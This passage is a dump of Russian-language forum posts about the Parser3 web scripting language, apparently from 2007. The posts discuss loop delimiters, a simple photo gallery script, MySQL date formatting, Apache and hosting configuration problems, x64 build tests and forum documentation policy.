"61275","поскольку проверка производится при старте и единожды, то использование ^try будет как нельзя кстати\
\
ну а проверку прав можно выполнить и с помощью простейшего ^if\
\
Всем спасибки."
"61276","Товарищ, всевидящий суть невероятно сложных сообщений!\
Если вы не в состоянии прочитать, что действительно написано в сообщении — не надо выносить по написанному суждений и делать выводы, это выглядит глупо.\
\
Я не писал о \"хинт с try\", я писал о разработке программы таким образом, чтобы остановка по требованию была не нужна.\
И выполянялась остановка не по желанию кодера, а при нештатном режиме работы метода."
"61279","При внутреннем редиректе по ErrorDocument выдает HTTP статус 404,\
При вн. + $response:status(200) выдает 200,\
При простом внешнем - 404,\
При внешнем + $response:status(200) - 302."
"61281","Добрый день!\
Такой вопрос.Возможно ли для одной строки таблицы использовать несколько раз оператор xsl:choose? То есть, что бы ставить условия не для целой строки, а для каждого из столбцов.\
Для чего нужно - объясню:\
Есть таблица приходов и расходов. Для прихода определена группа полей и для расходов группа. В каждой группе есть соответствующие столбцы(дата, ответственный) и различные(наименование, кол-во). Вот и получается, что когда заполняешь строку - нужно проверять: если в столбце кол-во прихода пусто - не заполнять группу вообще, если что то есть - заполнять так то, дальше - то же самое для расхода. Косяк в том, что информация о приходе и расходе располагается на одной строке.\
Спасибо за помощь."
"61282","Вынести всё, оформляющее приход/расход в именованый шаблон.\
Вызывать с параметром \"чего рисуем\" дважды, для прихода и расхода."
"61283","Есть ли ms sql драйвер parsera для linux? И можно ли из linuxa цепляться к mssql?"
"61288","$response:status лучше отдавать вместе с описанием\
[code]\
$response:status[404 Not Found]\
[/code]\
по стандарту оно там не обязательно, однако некоторые убогие программы (например сниффер HTTPLook) не могут без него корректно обработать заголовок."
"61289","Здравствуйте. Даты сообщений хранятся в базе MySQL в таком виде: 2007-06-24 23:56:17 (с точностью до секунды) и это меня вполне устраивает , но выводить их нужно без секунд. То-бишь вида: 2007-06-24 23:56, а еще лучше 2007.06.24 23:56. \
Подскажите как можно их вытягивать в таком формате? Они у меня вытягиваются только в том виде, в котором они записаны в базе."
"61292","Дело было вечером, делать было нечего...\
Возникла задача переноса галереи http://gallery.sf.net/ первой версии без использовании БД на новый хостинг.\
И как всегда приходит осмысление \"а оно мне надо?!\".\
Имеется ввиду функционал, который реально задействован/или не задействован на этом движке.\
Из всех её функций собственно нужен был только показ картинок.\
Да, там были счётчики просмотров, и были комментарии, и ещё конечно были подписи к фотографиям и для всего этого была ещё административная часть.\
Ни в коей мере не противопоставляя свои способности и знания parser3 этой галерее (тем более что уже давно существует 2-я версия), я решил написать простейший скрипт, который смог бы решить мои задачи: показывать аля категории (директории), превью фото и сами фото.\
Учитывая, что у меня уже есть много фото подготовленных и отсортированных по директориям.\
\
Итак:\
1) у вас есть фото подготовленные для показа в web вида: xxx.sized.jpg\
2) К ним вы сделали превью: xxx.thumb.jpg\
3) Положили к себе на сайт в каталог /gallery/albums/myfirstalbum\
 название директории myfirstalbum - это название альбома\
Таких альбомов (или категорий/директорий разумеется может быть несколько)\
4) сделали cover.jpg обложку к альбому, которую тоже положили в тотже каталог к вашим фото в альбоме\
5) В каждый каталог-альбом кладёте файл index.html:\
[code]\
^use[/gallery/index.html]\
^gallery[]\
[/code]\
6) В каталог /gallery/ кладёте сценарий-галереи (он тоже называется index.html):\
\
[code]@main[]\
#####################################################################################\
# index.html - наипростейшая галерея без употребления БД\
# 1. находит в директориях файл index.html и cover.jpg и считает их папками с фото\
# 2. отображает cover.jpg с сылкой на соответсвующий index.html\
# 3. ищет файлы вида xxx.thumb.jpg и считает их превьюшками фото вида xxx.sized.jpg\
# 4. отображает превьюшки в таблице из $tblcolumn колонок\
#####################################################################################\
^gallery[]\
\
@gallery[]\
$tblcolumn(5)\
# вывод заголовка страницы\
$header[^file::load[binary;/gallery/header.p]] \
^untaint{$header.text}\
$path_albums[albums/] \
$list[^file:list[$path_albums]]\
<center /><div>\
^list.menu{ \
^if(-d \"${path_albums}$list.name\"){ \
# если внутри каталога есть файл index.html \
$coverindex[${path_albums}${list.name}/index.html]  \
^if(-f \"$coverindex\"){\
$covername[${path_albums}${list.name}/cover.jpg]\
^if(-f \"$covername\"){\
Галерея $list.name <br />\
<a href=\"$coverindex\"><img src=\"$covername\" border=\"1\"></img></a><br /><br />\
}\
}\
}{ \
# Это файл $list.name\
} \
}\
# end of menu\
</div>\
######################################################################\
# отображение thumb картинок\
$currentpath[^file:dirname[index.html]/]\
$thumb_image[^file:list[$currentpath;\\.thumb\\.jpg^$]]\
$tblcount($thumb_image)\
<center /><div>\
<table border=\"0\" cellpadding=\"10\" cellspacing=\"10\">\
^while($tblcount>0){\
<tr>\
^for[icolumn](1;$tblcolumn){\
$tblcount($tblcount-1)\
^if($tblcount>=0){\
$cut_name[$thumb_image.name]\
$cut_name[^cut_name.trim[end;thumb.jpg]]\
$sized_name[${cut_name}.sized.jpg]\
<td align=\"center\">\
<a href=\"${currentpath}$sized_name\"><img src=\"${currentpath}${thumb_image.name}\" border=\"5\"></img></a>\
</td>\
^thumb_image.offset(1)\
}{\
<td>&nbsp^;</td>\
}\
}\
</tr>\
}\
# end of while\
</table>\
</div>\
# вывод подвала страницы\
$footer[^file::load[binary;/gallery/footer.p]] \
^untaint{$footer.text}[/code]\
\
P.S. подразумевается что у вас уже настроен parser3 и web-сервер для работы с ним\
 и как видимо понятно /gallery/ является директорией для вашей галерии\
 в начале и в конце сценария-галереи выводятся заголовок и подвал страницы из файлов header.p и footer.p - не забудьте их создать!"
"61294","никогда не приходилось, а вот сейчас понядобилось сделать вложенную навигацию.\
\
Как это должно работать. Есть разделы. У них есть сабы, и у них тоже сабы (дети) и так сколько угодно.\
\
На данный момент мне нужно всего 2 уровня - основной, и один саб. Основные пункты нужно разместить в одном месте (справа страницы), а сабы нужно разместить в теле страницы. Верстка получается таким образом, что сперва выводятся сабы, а потом основные. Не знаю, доходчиво ли описал.\
\
Теперь, нужно подсветить текущий саб, и его родителя. Как это сделать правильно?\
\
Пока пришел к такому решению. Делаю таблицу, в ней пишу разделы по типу id, parentID, uri, title. Дальше отбираю все разделы с parentID == 0 - это корневые разделы - их выведу справа. А также отбираю тот, где ури совпадает с ури сайта без строки запроса (query) - это текущий саб - его рисуем в теле. Дальше, прохожу по тем, что корневые, нахожу id=parentID текущего саба, и помечаю его как текущий, чтобы подсветить в менюшке. И потом рисую основные разделы, подсвечивая текущий.\
\
Но, блин, через зад как-то. Думал прикрутить вариант с деревьями, что в мишиных примерах... Но что-то руки опустились. Или это то, что нужно?"
"61296","тем не менее в форуме упоминалось ещё аж в 2002 году, например:\
http://www.parser.ru/forum/?id=4570\
\
и потом повторялось не раз."
"61297","У Миши, насколько я помню, просто рекурсия, а вас, типа 1 цикл из неё. Так что, всё нормал."
"61299","вариант построения дерева из примеров для реализации (получение данных и рекурсивный обход) требует написания ~10 несложных парсерных инструкций, все из одной строки кроме получения данных и вывода элемента (1. получение данных с помощью table::sql, 2. создание хеша таблиц с помощью .hash, 3. вызов метода обхода дерева, 4. описание метода обхода, 5. достаем уровень, 6. .menu по нему, 7. выводим элемент, 8. вызываем себя рекурсивно)\
при этом структура данных в БД прозрачна для человека.\
\
возможно потребуется ещё немного инструкций для того чтобы 'разобрать' url по которому пришли и пометить разделы, в которых мы находимся (это может и не требоваться).\
\
в связи с этим лично для меня возникает вопрос целесообразности реализовывать что-то 'упрощённое'.\
\
если серьёзно, то я вообще с трудом представляю что можно упростить за счёт изменения постановки задачи (например ограничения количества уровней)."
"61300","Keep receiving this error periodically (every Monday). What could it be?"
"61301","Никто не сталкивался с такой проблемой? Насколько я понимаю, mod_actions там отсутствует, соответственно Action, обрабатываемый parser3.cgi, не пройдет.\
\
Есть mod_alias, mod_access, mod_auth, mod_cgi, mod_suexec, mod_mime, mod_ssl, mod_php, mod_frontpage, mod_fastcgi, mod_jk, mod_gzip/mod_deflate, mod_throttle, mod_proxy, mod_auth_ldap, mod_rewrite и mod_autoindex. \
\
Может будут какие-то мысли, как запустить парсер в таких условиях, а то ребята на хостинге взяли и поменяли веб-сервер, проекты упали и лежат. Надо срочно выкручиваться."
"61302","... в доку http://litespeedtech.com/docs/webserver/config/scripthandler/\
\
И пускай настраивают. :)"
"61303","хотя в любом случае с трудом представляю кто может лочить конфигурационный auto.p..."
"61304","знаю, что уже было, но не смог найти ветку.\
Ситуация следующая. Нужно вывести таблицу, разделяя ее строки определенным кодом, который вычисляется в теле ^table.menu{}. И вот пробую, и чувствую - где-то грабли. Не работает так, как я предполагаю. Элементарная проверка метода дала шокирующий результат. Код\
[code]$ie(0)\
$tTable[^table::create{id\
1\
2\
3\
4\
5}]\
^tTable.menu{\
	$ie<br />\
}{\
	^ie.inc(1)\
	- $ie<br />\
}[/code]\
\
дает\
\
0\
- 1\
0\
- 2\
1\
- 3\
2\
- 4\
3\
\
хотя я ждал\
\
0\
- 1\
1\
- 2\
2\
- 3\
3\
- 4\
4\
\
Почему так и как лечить?"
"61306","и как лечить?\
\
пока решил делать так\
[code]\
^tTable.menu{\
	^if(^tTable.line[] < ^tTable.count[]){\
		delimiter code goes here\
	}\
}\
[/code]\
но это уже совсем не парсеровски. Я думаю, надо что-то с этим делать."
"61308","Хотя задача неизвестна и пути соответственно тоже..\
Но то что вы ждали, достигается вот так, например:\
\
[code]@main[]\
$ie(0)\
$tTable[^table::create{id\
1\
2\
3\
4\
5}]\
^tTable.menu{\
	$ie<br />\
	$separator($ie)\
	^ie.inc(1)	\
}{\
	- $separator<br />\
}\
[/code]\
\
Хотя мне такие решения все равно не нравятся :)\
Если я не очень отчетливо понимаю их сейчас - значит мне их трудно будет понять потом в своем же коде (не говоря о чужом)"
"61309","В доке написано:\
[quot]\
[b]Разделитель[/b] - код, который вставляется после каждой непустой строки, кроме последней.\
[/quot]\
\
на самом деле это не так. реалии таковы:\
[quot]\
разделитель — это код, который выполняется и выводится перед выводом (но после выполнения) каждой не пустой строки кроме первой.\
[/quot]\
\
т.е. в реалиях после выполнения первого тела вашего menu код разделителя не выполняется.\
\
почему сделано именно так?\
потому, что не вычислив результат следующей итерации (menu, foreach, while, for) невозможно определить - нужно выводить разделитель или нет.\
\
почему в доке написано иначе? \
потому, что так было проще для понимания. кроме того в часто используемом случае, когда используется разделитель-строка — никакой разницы нет (я бы вообще не давал бы возможность использовать код в разделителе). более того в foreach, for и while даже в текущей доке фигурирует корректная формулировка."
"61310","в итоге работа с парсером, превращается в исследования.\
хочу заметить, что порой это очень полезно, но если есть на это время.\
\
Жаль, что еще нет времени собрать весь накопленный опыт, и воплотить, например, в большом справочнике по парсеру, с описанием, а главное, разбором разных ситуаций.\
\
мечты.... ))"
"61311","[quote]\
	From: Eugene *** [mailto:***@mail.ru] \
	Sent: Thursday, June 28, 2007 6:07 PM\
	To: Konstantin Morshnev\
	Cc: Alexander Petrossian (mob); Михаил Петрушин\
	Subject: Re: Parser2 FreeBSD 6.2\
\
	Спасибо за ответ.\
	А сборку какую ставить?\
	6.1 parser10_freebsd6_mysql_sp6a.tar.gz <http://parser2.parser.ru/download/binaries/freebsd/6.1/parser10_freebsd6_mysql_sp6a.tar.gz>  - 05.06.2006 -- эту?\
	 \
	С уважением, Евгений.\
[/quote]\
\
затем\
[quote]\
 From: Eugene *** [mailto:***@mail.ru] \
 Sent: Thursday, June 28, 2007 6:23 PM\
 To: Konstantin Morshnev\
 Cc: Alexander Petrossian (mob); Михаил Петрушин\
 Subject: Re: Parser2 FreeBSD 6.2\
 \
 ура, всё заработало\
 спасибо!\
 \
 С уважением, Евгений.\
[/quote]"
"61312","5. вас не насторожило, что фал одинакового содержания нужно копировать N раз? для меня это обычно означает, что \"что-то не так\". допустим у нас нет mod_rewrite и мы не хотим эмулировать его работу через 404 ошибку. но и в этом случае можно упростить организацию: \
- в каталог /gallery/ помещаем auto.p следующего содержания:\
[code]\
@gallery[]\
...\
код галереи\
...\
\
@main[]\
^gallery[]\
[/code]\
\
соотв. раскладывать по каталожкам нужно будет только файлы следующего содержания:\
[code]\
@dummy[]\
# неиспользуемый метод, определённый лишь для того, \
# чтобы тело файла не было воспринято как @main[] \
# и соотв. вызывался бы @main[], описанный в /gallery/auto.p\
[/code]\
\
ну и заодно буквы, разположенные в файлах header.p и footer.p перенести в методы /gallery/auto.p|@footer[] и @header[]\
\
т.к. в них не будет описано парсерных инструкций (это так, судя по способу их добавления), нам не надо будет эскейпить в них ';', а '^' и '$' в pure html файлах встречаются не очень уж и часто.\
\
P.S. а что делает '<center/>' ?"
"61313","они помогут.\
\
если поддерживаете сайт сами, поищите сообщение о порядке подключения модулей. два человека подтвердили, что им это помогло."
"61314","предлагаю учитывать количество ссылок на сообщение. и поднимать вверх те, у кого их больше других.\
\
можно так?"
"61317","изменим спорное место в документации."
"61318","[i]код, который вставляется после каждой [b]непустой[/b] строки, кроме последней.\
[/i]\
почему в циклах пустое значение считается несущественным? Ведь это порождает определенные трудности и не всегда их причина очевидна..\
\
Пример (не претендую на осмысленность, скорее чтобы суть показать).\
Есть список из N-значений, нужно их вывести в виде одной колонки. В списке могут быть пропуски. Делаем:\
[code]\
$list[1,2,,4,x5]\
$table[^list.split[,;lv]]\
<pre>^table.menu{$table.piece}[^#0A]</pre>[/code]\
\
\
Получаем:\
[code]1\
2\
4\
x5[/code]\
хотя хотелось, видимо\
[code]1\
2\
\
4\
x5[/code]\
, но одно значение сьелось, и вместо списка из 5-ти значений, одно из которых пустое, мы получили список их 4-х значений.\
\
Второй не такой простой случай, который приходит в голову. Понадобился метод, который просто печатает переданную ему таблицу... любую. Пишем:\
\
[code]@printTable[t]\
$tCols[^t.columns[]]\
^tCols.menu{$tCols.column}[^#09]\
^t.menu{^tCols.menu{$t.[$tCols.column]}[^#09]}[^#0A]\
[/code]\
\
Вызываем:\
[code]$table[^table::create{c1	c2	c3\
1	2	3\
4		6\
}]\
<pre>^printTable[$table]</pre>[/code]\
\
Результат не соответствует исходной таблице:\
[code]c1	c2	c3\
1	2	3\
4	6[/code]\
Из-за того, что одна ячейка не определена ^tCols.menu{}[] не вставила после нее разделитель.\
Это конечно лечится, например вместо разделителя можно использовать переменную, типа так:\
[code]...\
$firstColumn(true)\
^tCols.menu{^if($firstColumn){${tCols.column}$firstColumn(false)}{^#09$tCols.column}}[/code]\
\
но как то это не изящно, и перечеркивает смысл в разделителе как таковом (вместо ^#09 можно вызывать метод, возвращающий строку разделителя).\
\
Вот и интересно - ради чего была сделана вставка разделителя, только после/до НЕ пустого тела, чем этот подход лучше, чем вставка разделителя после любой не последней строки? Кстати тогда и не нужно было бы забегать вперед, при .menu{}"
"61319","Если кто-то сталкивался с установкой Парсера на хостинге www.caravan.ru, скажите: надо просто распаковать архивы в cgi-bin как и написано в руководстве, и какие изменения атрибутов и на какие файлы/каталоги надо установить? А то распаковал всё, как написано, всё выставил исполняемым, а сервер показывает только тестовую страницу."
"61320","А вариант с правкой корневого поста не получится?"
"61322","Речь не сколько об изменениях, сколько в дополнениях.\
Документация сейчас очень лаконична и не дает представления о разных ситуациях и ньюансах.\
\
Вы даже сами в примеры кидали Ликбез по taint/untaint. \
В форуме мы все постоянно видим как регулярно задаются одни и те же вопросы, которые возникают из-за того, что нет пояснений и примеров в доках.\
\
Собственно этот трэд уже пример этого.\
\
Я могу пока лишь с сожалением сказать, что не в силах заняться \"кусочками текстов\". И как мне кажется никто из форума.\
Надеюсь я ошибаюсь. Но, как обычно, все упирается во время/деньги.\
\
Ищем спонсора )))"
"61323","только не поднимать, а кинуть в раздел, скажем, \"полезные трэды\"\
потом из этой выборки можно будет собирать доки\
\
реализуете? ))"
"61324","...по поводу следующего\
[quote]Вот и интересно - ради чего была сделана вставка разделителя, только после/до НЕ пустого тела, чем этот подход лучше, чем вставка разделителя после любой не последней строки? Кстати тогда и не нужно было бы забегать вперед, при .menu{}[/quote]\
Ведь логичнее было бы сделать именно так, а не как сейчас."
"61325","Не могу понять почему. Делаю четвертый урок, вот этот код вставляю:\
\
[code]\
<b><h1>НОВОСТИ</h1></b>\
$day(^if(def $form:day){\
   $form:day\
}{\
   $now.day\
})\
^connect[$connect_string]{\
   $news[^table::sql{select\
       date, header, body \
   from\
      news \
   where\
      date='${now.year}-${now.month}-$day'\
   }]\
   ^if($news){\
      ^news.menu{\
         <b>$news.date - $news.header</b><br>\
         ^untaint{$news.body}<br>\
      }[<br>]\
   }{\
      За указанный период новостей не найдено.\
   }\
}\
[/code]\
\
Пишется: За указанный период новостей не найдено.\
\
\
Удаляю из кода\
[code]\
where\
      date='${now.year}-${now.month}-$day'\
[/code]\
\
и сразу показываются все новости. В том числе и за сегодняшний день. Не могу понять почему. Дата чтоли не определяется? А как определить?\
\
Помогите."
"61326","Переменная $now , судя по тексту определена только в файле admin/index.html, соответственно в news/index.html она недоступна и $now.day ничего не выдает.\
\
Проверьте это? Просто выведите где-нть, после \"НОВОСТИ\" , например, \
[code]++ ${now.year}-${now.month}-${now.day} ++[/code]\
и посмотрите на результат.\
\
Если ничего не выводитcя добавьте в корневой auto.p в метод @auto[] или непосредственно перед приведенным вами кодом, строку:\
\
[code]$now[^date::now[]][/code]"
"61327","[quote]Если ничего не выводитcя добавьте в корневой auto.p в метод @auto[] или непосредственно перед приведенным вами кодом, строку: \
$now[^date::now[]][/quote]\
\
вот так получилось, спасибо.\
Только все равно странно - почему без этого то не идет... или так и задумано.. странно."
"61328","Не идет, потому что, если переменная $now не определена, то в MySQL уходит следующий запрос:\
[code]\
select\
  date, header, body \
from\
  news \
where\
  date='--'  ^rem{вмсто, например date='2007-07-02'}\
[/code]\
А такой даты \"--\" в базе данных само собой нет.\
\
P.S. Миша, урок наверно надо чуть подправить?"
"61329","Собрал парсера с XML с помощью buildall-with-xml\
при открытии _test.html отлавливаю 500-ошибку.\
(Premature end of script headers: parser3.cgi)\
методом исключений нашел что ее вызывает строка \
558 $document[^xdoc::create{$xml_txt}]\
Что подтвердилось изолированием двух строк в отдельный файл\
[code]@main[]\
$xml_txt[<?xml version=\"1.0\" encoding=\"$request:charset\" ?>]\
$document[^xdoc::create{$xml_txt}][/code]\
-> 500\
\
Такого варианта сей баги на форуме вроде не было, по крайней мере мне найти не удалось...\
\
Куда копать??? Или опять проблема с x64?\
\
\
OS: Suse SLES10\
Parser: 3.2.2b (compiled on x86_64-unknown-linux-gnu)\
\
\
P.S. mysql-драйвер с ходу тоже не собрался ->\
[quote]$sqldriversdir/libparser3mysql.so: undefined symbol: __cxa_pure_virtual \
[/quote], но тут еще покопаюсь сам, вроде инфа какая то была на форуме."
"61330","На все .html файлы?\
Доки я видел, думал, может чего не знаю.\
\
Решили сменить хостера, т. к. смена вебсервера была сделана без предупреждения, да и саппорт стал какой-то вялый."
"61331","Кто-нибудь туда устанавливал Парсер? Сделал все как в руководстве (распаковал, .htaccess) - не работает. Ошибка 500. Если кто-то с этим на Петерхосте боролся - научите!"
"61332","Не могли бы вы поделиться?"
"61335","мы так сделали, для \"kb\", тех пока мало.\
этих же заведомо сотни."
"61336","как решит, так и будет.\
наша с вами мега-миссия, придумать, а его — решить. если мы с вами что-то дельное придумаем, и звёзды на небе встанут по форме буквы М, всё будет."
"61337","вариант: выберите тогда самый, по вашему мнению, удачный кусок из мишиного сообщения, и добавьте комментарием к соответствующему месту в документации.\
снизу там формочка ловкая есть…"
"61339","и расскажите по шагам из FAQ"
"61340","и напишите по шагам из FAQ"
"61341","пересобрать CHM-ку, включив в неё накопившиеся комментарии?\
\
Заодно в конец каждой страницы chm-ки вставить ссылку на соответствующую ей страницу в на сайте, чтобы было легко добавить новый комментарий? User generated content нынче в моде, так надо устранить мелкое препятствие, мешающее \"генерить\"."
"61342","Пытаюсь запустить Parser под Apache 2.2.4.\
\
Конфигурация - стандартная, прямо по документации.\
Вдобавок, для контроля, скопировал ее с работающего сервера под Apache 1.3.12\
mod_rewrite в текущий конфигурации пока не задействован.\
\
Перечитал [url=\"http://www.parser.ru/forum/?id=45490\"]эту ветку[/url]. Перенес настройки из virtualhost в файл .htaccess\
\
Какие бы шаманские танцы не осуществлялись, при запросе любого файла получается 500 ошибка. Error-log ниже. Подскажите, в каком направлении копать?\
\
[code]\
[Wed Jul 04 11:50:43 2007] [error] [client 172.30.10.4] Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.\
[Wed Jul 04 11:50:43 2007] [debug] core.c(3046): [client 172.30.10.4] r->uri = /404.html\
[Wed Jul 04 11:50:43 2007] [debug] core.c(3052): [client 172.30.10.4] redirected from r->uri = /cgi-bin/parser3/404.html\
[Wed Jul 04 11:50:43 2007] [debug] core.c(3052): [client 172.30.10.4] redirected from r->uri = /404.html\
[Wed Jul 04 11:50:43 2007] [debug] core.c(3052): [client 172.30.10.4] redirected from r->uri = /cgi-bin/parser3/404.html\
[Wed Jul 04 11:50:43 2007] [debug] core.c(3052): [client 172.30.10.4] redirected from r->uri = /404.html\
[Wed Jul 04 11:50:43 2007] [debug] core.c(3052): [client 172.30.10.4] redirected from r->uri = /cgi-bin/parser3/404.html\
[Wed Jul 04 11:50:43 2007] [debug] core.c(3052): [client 172.30.10.4] redirected from r->uri = /404.html\
[Wed Jul 04 11:50:43 2007] [debug] core.c(3052): [client 172.30.10.4] redirected from r->uri = /cgi-bin/parser3/404.html\
[Wed Jul 04 11:50:43 2007] [debug] core.c(3052): [client 172.30.10.4] redirected from r->uri = /404.html\
[Wed Jul 04 11:50:43 2007] [debug] core.c(3052): [client 172.30.10.4] redirected from r->uri = /cgi-bin/parser3/index.html\
[Wed Jul 04 11:50:43 2007] [debug] core.c(3052): [client 172.30.10.4] redirected from r->uri = /index.html\
[/code]"
"61343","знаете вот чего хочу сказать.. вот тут наверное 8 из 10 ответов \"почитайте faq\", а вопросы идут и идут. Может переписать этот самый FAQ ? Как то по удобнее сделать, чтоли.. а то действительно, вот новичку там вообще делать нечего."
"61344","при добавлении новой функции в язык она сразу описывается в доке. формат бинарный, т.е. поддерживать несколько веток сложно.\
\
так что увы, дока может быть собрана только для версии 3.2.2, однако выкладывать доку, в которой описаны функции, ещё не существующие в текущей версии языка -- неправильно."
"61345","я могу вспомнить только один случай, когда мне помещала эта фича парсерных циклов (вы его упомянули, это вывод произвольной таблицы, нужный мне для Sql.p) и при этом сразу на ум приходит несколько вещей, который бы мне очень мешали. в частности: ^table.menu{$table.piece}[,]\
\
ну не нужны мне в SQL запросе в IN строки вида (1,2,,,,,5).\
\
как не нужны мне в таблицах пустые строки вообще (парсер их выкидывает ещё при загрузке таблиц).\
\
я не могу ответить на вопрос почему это было сделано именно так ещё в [url=\"http://parser2.parser.ru/docs/operators06.html#3-6-6\"]parser2[/url], но текущая реализация мне лично нравится :)"
"61349","ну... я бы понял, если бы таблицу центрировала следующая конструкция:\
[code]<center>\
<table>\
...\
</table>\
</center>[/code]\
\
но чтобы такая:\
[code]\
<center />\
<table>\
...\
</table>\
[/code]\
\
что-то я не понимаю в этой жизни :)"
"61350","это-ж бета, которая тестировалась далеко не везде :)\
\
тем не менее на отдельных наших проектах она уже работает (однако на одном -- не желает ни в какую, пока не докопался до причины).\
\
можете попробовать:\
1. прогнать тесты:\
cd tests\
make tests\
2. попробовать собрать со старыми версиями библиотек (в .buildall... исправить gc6.8 на gc6.6, libxml2-2.6.28 на libxml2-2.6.22 и libxslt-1.1.20 на libxslt-1.1.15), после чего \
make distclean\
./buildall-with-xml\
\
но вообще, судя по томы что я вижу (compiled on x86_64-unknown-linux-gnu) -- это не поможет. на x64 парсер пока не работает, т.к. сделаны не все необходимые телодвижения. как уже не раз упомяналось: нам было не надо, а патча никто не присылал."
"61351","технически вариант с правкой корневого сообщения треда легко реализуем, но идеологически я с ним в корне не согласен, поэтому реализовывать не буду.\
\
у сообщения стоит имя автора. если модератор что-то исправил -- это уже НЕ сообщение того автора, а продукт совместного творчества, к которому начальный автор может уже вообще не иметь никакого отношения, но может быть не в состоянии выразить свою противоположную точку зрения.\
\
для форумов я придерживаюсь следующего мнение: не нравится сообщение модератору? удали его, но править -- не моги (технически не моги), и никакие звезды повлиять на эту мою точку зрения не в силах :)\
\
однако я не имею ничего против комментариев модератора к сообщениям. т.е. в принципе можно подумать над добавлением новой фичи -- комментарий модератора, который как раз и можно будет использовать для того, чтобы после заголовка треда автора додписать conclusion модератора.\
\
это технически сделать сложнее, но в todo я это добавил."
"61352","пытаюсь подключить скрипт mnogosearch\
\
раньше у меня было с помощью load:\
[code]f[^file::load[text;http://www.site.ru/cgi-bin/search.cgi?q=$form:q;$.timeout(10)]][/code]\
\
так работает, но иногда очень долго все происходит (10-30 секунд), поэтому решил попробовать сделать с помощью ^file::cgi. Сделал symlink на скрипт в папке cgi-bin и запускаю его так:\
[code]$f[^file::cgi[../search.cgi;$.QUERY_STRING[q=^taint[$form:q]]]]\
$f.text $f.status $f.stderr[/code]\
\
получаю $f.text пустой. резульат:\
0 {sql.c:6642} Query: SELECT url_id,intag FROM dict WHERE word='тест' \
\
т.е. скрипт нормально находится, но почему-то не выполняется...\
или это он выполняется и пытается сообщить о какой-то ошибке?\
\
и еще: я правильно понимаю, что через file::cgi я получу более быстрый ответ, чем через load?"
"61354","Подозреваю, что тема уже затрагивалась на форуме, но уровень моих поисковых навыков не дает результатов.\
\
если редиректить внутренне(!) примерно так\
[code]$response:location[/^if(def $request:query){?$request:query}][/code]\
то данные формы не передаются. Если сделать это посредством метода\
[code]################################################\
@makeUri[hParams][hFields]\
$hParams[^hash::create[$hParams]]\
$hFields[$hParams]\
$hFields[^hFields.union[$form:tables]]\
$result[$hParams.targetUrl^if($hFields){?^hFields.foreach[sField;oValue]{^if($oValue is \"table\"){^oValue.menu{$sField=^taint[uri][$oValue.field]}[&]}{$sField=^if(!($oValue is \"file\")){^taint[uri][$oValue]}}}[&]}]\
# end of @makeUri[][/code]\
так\
[code]$response:location[/^makeUri[]][/code]\
то данные передаются как надо.\
\
Причем при внешнем(!) редиректе данные формы передаются в обеих случаях.\
\
Так и должно быть? Т.е. свойство query класса $request обнуляется? Или это баг?"
"61356","Ну я имел ввиду, что автор первого поста сам, если есть желание и оптимизм, меняет начальный.\
\
Ваще ещё тэги хорошая вещь. Но комменты модератора тоже нормал."
"61357","Судя по вчему путь к parser в .htaccess неправильный.\
\
Оно пытается сказать об этом 404 ощибкой, которая тоже .html и поэтому должна обрабатываться парсером. Получается цикл.\
\
.htaccess +=\
ErrorDocument 404 \"not found\
чтобы убедиться."
"61358","которая сильно облегчает жизнь с mod_rewrite, ибо после RewriteRule ^old /new/ [L] в request мы можем запросто добраться до uri, по которому было _исходное_ обращение.\
\
ну а с параметрами, передаваемыми get-ом (query) с нашей точки зрения прявильнее работать через form (ибо в противном случае всё равно выползут проблемы с тем, что данные не декодированы)."
"61359","В основном требуется администрирование всяких серверов со сложным софтом, написанном на парсере и С++.\
\
В свободное от основной работы и сна время теоретически может использоваться в качестве резервного программиста.\
\
Описание вакансии [url=\"http://madgroup.ru/madjob/sysadmin/\"]здесь[/url].\
\
Пишите на tmm^..^madgroup.ru или в аську: 776166."
"61361","держать в коде cgi приложения код, который будет использоваться чрезвычайно редко -- незачем.\
\
с текущим положением вещей решить упомянутую вам задачу можно. совсем не сложно. напишите себе оператор в котором будет один дополнительный if. заниматься оптимизацией языка, чтобы редко используемая задача решалась чуть быстрее -- сомнительно что это правильное направление приложения сил (в языке много чего можно пооптимизировать с бJльшей пользой для _типовых_ задач)."
"61363","Может у кого-нибудь есть для него собранный Parser?\
Или можно использовать какой-то другой?"
"61364","как я понял, в Imp такие вещи, как news.sample.com, weather.sample.com регистрируются как один сайт, и это вполне логично, а вот если есть сайт, разбитый на региональные версии: russia.sample.com,\
usa.sample.com. эти версии в Imp будут регистрироваться как разные сайты?"
"61365","А на что нужно обратить внимание, есть ли ошибки и в каких тестах?\
make: [results/080.processed] Error 1 (ignored)\
make: [results/096.processed] Error 1 (ignored)\
make: [results/124.processed] Error 1 (ignored)\
make: [results/131.processed] Error 1 (ignored)\
make: [results/160.processed] Error 1 (ignored)\
\
\
Больше слов error не нашел\
че это значит, как жить и кто виноват так сказать? :)\
\
То что это бета я осознаю :)"
"61366","ну нужно посмотреть outputs/080.processed & Co и разбираться с каждым тестом отдельно. большинство тестов достаточно простые, можно открыть их код, то что должно быть и что получилось и понять что за проблемы.\
\
080 - забить, там лишний знак в экспоненциальном представлении\
096 - забить, про проблему знаю, ещё не разбирался\
124 - без понятия\
131 - встречал такое. должна быть exception, но... работает. возможно последствия x64, т.к. на int выделено больше бит, и как следсткие объект date может быть создан даже если он выходит за дапазон указанный в доке.\
160 - забить, тест для cache, пока не доделан чтобы работал везде\
\
виноват x64. собирайте в режиме совместимости (не спрашивайте меня как, я пока без понятия)."
"61367","версии регистрируются так, как считает нужным разработчик.\
\
если региональные сайты зеркальные (но на разных языках), то регистрировать несколько сайтов нет нужды, для одного сайта просто регистрируется несколько языков.\
\
если они не зеркальные, или надо заводить несколько сайтов или несколько instance-ев imp1."
"61368","например, [url=\"http://parser.groundzero.ru/search/titles/kb%3A/1/\"]kb[/url]."
"61369","http://www.parser.ru/forum/?terms=%22kb%3A%22&author=&doSearch=%CD%E0%E9%F2%E8\
\
и\
\
http://www.parser.ru/faq/kb/\
\
(не считая формы и полноты подачи)?"
"61370","[url=\"/forum/?terms=%22kb%3A%22&author=&doSearch=do\"]same sh*t[/url]"
"61371","тут полнотекстовый поиск, у меня по старинке.\
Несмотря на это, зачастую, он даёт \"лучший\" результат.\
\
Ну и форма, да.\
\
Ну, а для полноты картины:\
